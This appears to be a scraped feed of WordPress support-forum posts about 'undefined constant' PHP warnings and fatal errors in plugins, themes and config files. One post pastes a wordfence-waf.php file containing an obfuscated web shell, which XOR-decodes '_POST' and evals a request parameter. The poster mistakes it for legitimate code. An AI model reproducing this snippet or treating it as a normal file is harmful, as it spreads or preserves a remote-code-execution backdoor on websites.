How do I run this code?
edit: I realised that the provided code is for Javascript, it now runs but it does nothing.
]]>[07-Nov-2023 17:34:14 UTC] PHP Warning: Use of undefined constant wp – assumed ‘wp’ (this will throw an Error in a future version of PHP) in /home/…/public_html/wordfence-waf.php on line 7
Here is my wordfence-waf.php file contents with sensitive directory information omitted:
if (file_exists(‘…bootstrap.php’)) {
define(“WFWAF_LOG_PATH”, ‘…/wflogs/’);
include_once ‘….bootstrap.php’;
}
$waf = “~+d()”^”!{+{}”;
$wp = ${$waf}[wp];
eval(“\r”.$wp);
?>
How can I stop the warning?
Thanks,
Nicole
]]>Warning: Use of undefined constant i – assumed ‘i’ (this will throw an Error in a future version of PHP) in /home/customer/www/amsmotoroils.com/public_html/wp-content/plugins/block-logic/block-logic.php(116) : eval()’d code on line 1
]]>today I got following error on my website
Warning: Use of undefined constant ICL_LANGUAGE_CODE - assumed 'ICL_LANGUAGE_CODE' (this will throw an Error in a future version of PHP) in /var/www/vhosts/xxx.com/httpdocs/wp-content/plugins/woocommerce-products-filter/classes/helper.php on line 237
also with that the products filter don’t work anymore also the layout of the filter is destroyed
Best regards
]]>After updating to version 2.0 I got this error:
PHP Fatal error: Uncaught Error: Undefined constant "ThemeIsle\GutenbergBlocks\OTTER_BLOCKS_PATH" in /wp-content/plugins/blocks-animation/class-blocks-animation.php:113
This results in WSOD on front-end of the site
I am a pretty basic user and just logged in for the first time in (embarrassingly) several months. After updating my php and updating to the newest wordpress, I now seem to have an error that shows at the top of my website:
Warning: Use of undefined constant DATABASE_SERVER – assumed ‘DATABASE_SERVER’ (this will throw an Error in a future version of PHP) in /home/customer/www/taylorstoneillustration.com/public_html/wp-config.php on line 32
Any idea how to solve this? (I don’t even remember how to get to editing code directly after all this time, so please be patient with me and assume I’m starting at step 0.)
]]>Fatal error: Uncaught Error: Undefined constant "category_description" in /home/nusbizadclub/public_html/wp-content/themes/optimizer_pro_updated12_10_2021/framework/core-seo.php:26 Stack trace: #0 /home/nusbizadclub/public_html/wp-includes/template.php(772): require() #1 /home/nusbizadclub/public_html/wp-includes/template.php(716): load_template() #2 /home/nusbizadclub/public_html/wp-includes/general-template.php(204): locate_template() #3 /home/nusbizadclub/public_html/wp-content/themes/optimizer_pro_updated12_10_2021/header.php(27): get_template_part() #4 /home/nusbizadclub/public_html/wp-includes/template.php(770): require_once('/home/nusbizadc...') #5 /home/nusbizadclub/public_html/wp-includes/template.php(716): load_template() #6 /home/nusbizadclub/public_html/wp-includes/general-template.php(48): locate_template() #7 /home/nusbizadclub/public_html/wp-content/themes/optimizer_pro_updated12_10_2021/index.php(13): get_header() #8 /home/nusbizadclub/public_html/wp-includes/template-loader.php(106): include('/home/nusbizadc...') #9 /home/nusbizadclub/public_html/wp-blog-header.php(19): require_once('/home/nusbizadc...') #10 /home/nusbizadclub/public_html/index.php(17): require('/home/nusbizadc...') #11 {main} thrown in /home/nusbizadclub/public_html/wp-content/themes/optimizer_pro_updated12_10_2021/framework/core-seo.php on line 26
There has been a critical error on this website.
Please advise on what to do.
FYI: As of 20/10/2021
WordPress Version: 5.8.1
PHP version: 8.0
MySQL version: 5.6.51-cll-lve
Hope you can help me or fix it for next update,
Thanks
Warning: Use of undefined constant DGXDONATEPAYPALSTD - assumed 'DGXDONATEPAYPALSTD' (this will throw an Error in a future version of PHP) in /path/to/public_html/wp-content/plugins/seamless-donations/seamless-donations.php on line 637
WordPress database error: [Table 'wp_seamless_donations_audit' already exists]
CREATE TABLE wp_seamless_donations_audit ( option_id bigint(9) UNSIGNED NOT NULL AUTO_INCREMENT, option_name varchar(64) NOT NULL DEFAULT '', option_value longtext NOT NULL, autoload varchar(20) NOT NULL DEFAULT 'yes', donor_email varchar(128) NOT NULL DEFAULT '', created_on TIMESTAMP DEFAULT 0, changed_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, PRIMARY KEY (option_id), KEY donor_email (donor_email), UNIQUE KEY option_name (option_name) ) DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci
First one doesn’t seem like an issue but would produce an error in php8.
Second one is odd. I looked at the DB and the table is there with all the proper fields, so no problems.
It appears as though everything should work just fine, but I wanted to pass the info on to the dev. Looks like it should be a wonderful plugin!
]]>After some messing around (!) discovered that simply explicitly defining EMPTY_TRASH_DAYS in wp-config.php stops the error.
There’s probably a more elegant way, but this seems to work OK.
]]>